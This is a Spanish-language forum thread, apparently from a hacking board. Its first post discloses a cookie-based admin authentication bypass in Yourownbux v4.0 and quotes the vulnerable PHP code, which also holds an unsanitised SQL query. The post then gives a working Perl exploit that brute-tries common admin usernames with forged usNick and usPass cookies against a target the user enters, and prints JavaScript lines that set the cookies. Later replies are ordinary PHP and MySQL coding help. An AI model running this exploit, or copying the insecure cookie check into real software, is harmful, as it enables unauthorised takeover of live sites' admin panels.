Yes, i Found the bug.

Link Milw0rm

Edito el mensaje:

Puse el fix pero bueno mejor no

La solucion es Simple: Validar la cookie UsPass

~Shinji~  : If you still want the fix contact me via MSN.

Bueno, esto lo descubri hace un par de dias .. Ahora lo publico.

Vulnerable: /admin/header.php

<?php
 
$user = $_COOKIE["usNick"];
 
	 $myDb-&gt;connect();
 
		$sql = "SELECT * FROM yob_users WHERE username='$user'";
 
		$result = mysql_query($sql);
 
		$row = mysql_fetch_array($result);
 
	$myDb-&gt;close(); 
 
			$is_admin = $row['user_status'];
 
 if($is_admin != "admin"){
 
	 $display_error = "* You must login as administrator to access this page.";
 
		 include ('error.php');		 exit();
 
 }
 
?>

Como pueden ver, Solo se valida la cookie usNick, por lo tanto si tienes el usuario admin correcto, añadiendo las cookies puedes tener acceso al admin panel.

Y un pequeño Exploit para la explotacion es el siguiente:

#!/usr/bin/perl
 
use LWP::UserAgent;
use HTTP::Request;
 
#+-------------------------------------------------------------+-#
#+ Yourownbux v4.0                   --------------------------+--+
#+ Cookie Modification Exploit --------------------------++
#+ Discovered By: Tec-n0x | 04/9/2008 --------------------++
#
# + Gr33tz: OzX, Celciuz, N.O.X && All Friends --++
#+-------------------------------------------------------------+----#
 
 
 
system("clear");
 
print "
# Yourownbux v4.0 Cookie Modification Exploit\n# Discovered By: Tec-n0x\n\n# Tec-n0x [ at ] hotmail [ dot ] com > DropSec.com 
\n# Thanks OzX\n\n";
print "Target [ Example: www.sitedemo.com ] :\n> ";
$target = <STDIN>;
chop($target);
 
if($target =~ m/www\.(.*)\.(.*)/) {
 
$other = $1;
check1($target);
 
} else {
print "\nInvalid Target.";
exit();
}
 
sub explote {
 
@tryusers = ("admina", "administrator", "admins", "admin", "master", "manager", "root", "$other"); 
# Add Posible Users.
 
$check = shift;
 
foreach $user (@tryusers) { 
 
$pass = "Tec-n0x";
 
print "\n\tTrying > $user\n";
 
	$browser = LWP::UserAgent->new();
	$browser->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14");
	$browser->default_header("Cookie" => "usNick=$user; usPass=$pass");
	$get = HTTP::Request->new(GET => $check);
	$resp = $browser->request($get);
	$content = $resp->content();
 
@code = split("\n",$content);
 
	foreach $checka (@code) {
 
			if($checka =~ m/Emails|Served|Workload|Overview/) {
 
system("clear");
 
print "Succesfull EXPLOTED ...!!\n\nValid Username: $user\n\nGo to: $check\n\n And Put this on your browser:";
 
$vd = "javascript\:document\.cookie = \"usNick=$user\; path=\/\"\;";
$vda = "javascript\:document\.cookie = \"usPass=Dropsec\.com\; path=\/\"\;";
 
print "
 
+------------------------------------+
+ $vd\n+ $vda
+------------------------------------+
";
 
 
$yes = 1;
 
exit();
 
}
}
}
 
if($yes != 1) {
 
print "\n\n\nExploit Failed";
 
exit();
 
}
 
}
sub check1 {
 
$target = shift;
 
$check = "http\:\/\/$target\/admin\/index\.php";
 
	$browser = LWP::UserAgent->new();
	$browser->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14");
	$get = HTTP::Request->new(GET => $check);
	$resp = $browser->request($get);
	$content = $resp->content();
 
@code = split("\n",$content);
 
	foreach $checka (@code) {
 
			if($checka =~ m/You must login as administrator to access this page/) {
 
print "Check 1 [ OK ]\n";
 
$success = 1;
 
explote($check);
 
} 
 
}
 
if($sucess != 1) {
 
print "Failed";
 
exit();
 
}
 
}
 

El Post original, Clickeando Aqui.

Saludos

Hola .. te cuento que yo tambien me pase un buen rato tratando de buscar SQL Injection en PTC's [ " Secure " bux / yourownbux / etc ] .. Y eso no funciona ..

Fijate que mas abajo lo que hace es para verificar con mysql_nums_rows o algo parecido ..

Si es donde yo pienso ..

Saludos

Pusiste como esta en el posT?

Es sencillo eso ..

El script que tienes trae un archivo con la consulta SQL .. seguro se llama " Database "

Vas a la base de datos de tu hosting .. y ejecutas la consulta ...

Configuras el " config.php " con los datos de tu BD y listo ..

 

Bueno, yo creo que una cosa es ayudarte con un codigo y otra prepararte el codigo.

http://phpya.com.ar
http://mysqlya.com.ar

Saludos

Gracias por eso .. no tenia idea de como se hacia ... en un rato cuando vaya al ubuntu lo probare ..

Saludos

¿?

Te he dicho arriba exactamente lo que quieres ... No querras que te pongamos el codigo hecho verdad?   

Es sencillo ...

Pones un formulario pidiendo los datos:


Y Luego en el otro archivo .. Recives los datos y los metes en la bd ...

Y Creas una columna llamada " approved " en la BD ...

Entonces, cuando alguien mande ... Le pones por default 0 .. y en el admin ..

Solo tienes que poner que cuando clickees en Aprovar .. con un update .. le ponga 1 al " approved "

y Luego con un bucle While ... muestras todos los registros de la bd ..

Y acuerdate pasar por htmlspecialchars / htmlentities las variables para evitar XSS / SQL Injection.

Saludos